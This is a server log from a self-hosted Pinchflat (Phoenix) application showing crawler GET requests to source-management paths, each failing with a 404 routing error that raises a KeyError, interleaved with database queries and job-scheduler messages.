/sources/2/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.273912.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 49682}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.273916.0>, params: %{}, path_info: ["sources", "2", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/2/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIFsTsk5ToXQtMcAM3EC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.273912.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 49682}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.273912.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 49682}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.273916.0>, params: %{}, path_info: ["sources", "2", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, (truncated) 08:13:38.776 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:00.590 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:14:03.974 [info] GET /sources/2/force_metadata_refresh 08:14:03.974 [info] GET /sources/5/force_metadata_refresh 08:14:03.975 [debug] QUERY OK source="settings" db=0.6ms idle=291.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:14:03.975 [debug] QUERY OK source="settings" db=0.6ms idle=291.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:14:03.976 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=292.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:14:03.976 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=292.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:14:03.976 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 08:14:03.976 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 08:14:03.977 [error] #PID<0.273922.0> running PinchflatWeb.Endpoint (connection #PID<0.273919.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/2/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.273919.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 51562}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.273922.0>, params: %{}, path_info: ["sources", "2", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/2/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIFsVaNUA9Wlt7AAM3GC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.273919.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 51562}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.273919.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 51562}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.273922.0>, params: %{}, path_info: ["sources", "2", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ (truncated) 08:14:03.977 [error] #PID<0.273921.0> running PinchflatWeb.Endpoint (connection #PID<0.273920.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/5/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/5/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.273920.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/force_metadata_refresh", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 51566}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.273921.0>, params: %{}, path_info: ["sources", "5", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/5/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIFsVaNUBCe09PUAKY9B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.273920.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/force_metadata_refresh", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 51566}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/5/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.273920.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/force_metadata_refresh", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 51566}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.273921.0>, params: %{}, path_info: ["sources", "5", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ (truncated) 08:14:04.166 [info] GET /sources/5/sync_files_on_disk 08:14:04.167 [debug] QUERY OK source="settings" db=0.4ms idle=334.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:14:04.168 [debug] QUERY OK source="settings" db=0.3ms idle=192.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:14:04.168 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 08:14:04.168 [error] #PID<0.273923.0> running PinchflatWeb.Endpoint (connection #PID<0.273919.0>, stream id 2) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/5/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/5/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.273919.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/sync_files_on_disk", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 51562}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.273923.0>, params: %{}, path_info: ["sources", "5", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/5/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIFsVa7MB3c7tVYAKY-B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.273919.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/sync_files_on_disk", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 51562}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/5/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.273919.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/sync_files_on_disk", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 51562}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.273923.0>, params: %{}, path_info: ["sources", "5", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, (truncated) 08:14:08.778 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:38.780 [info] 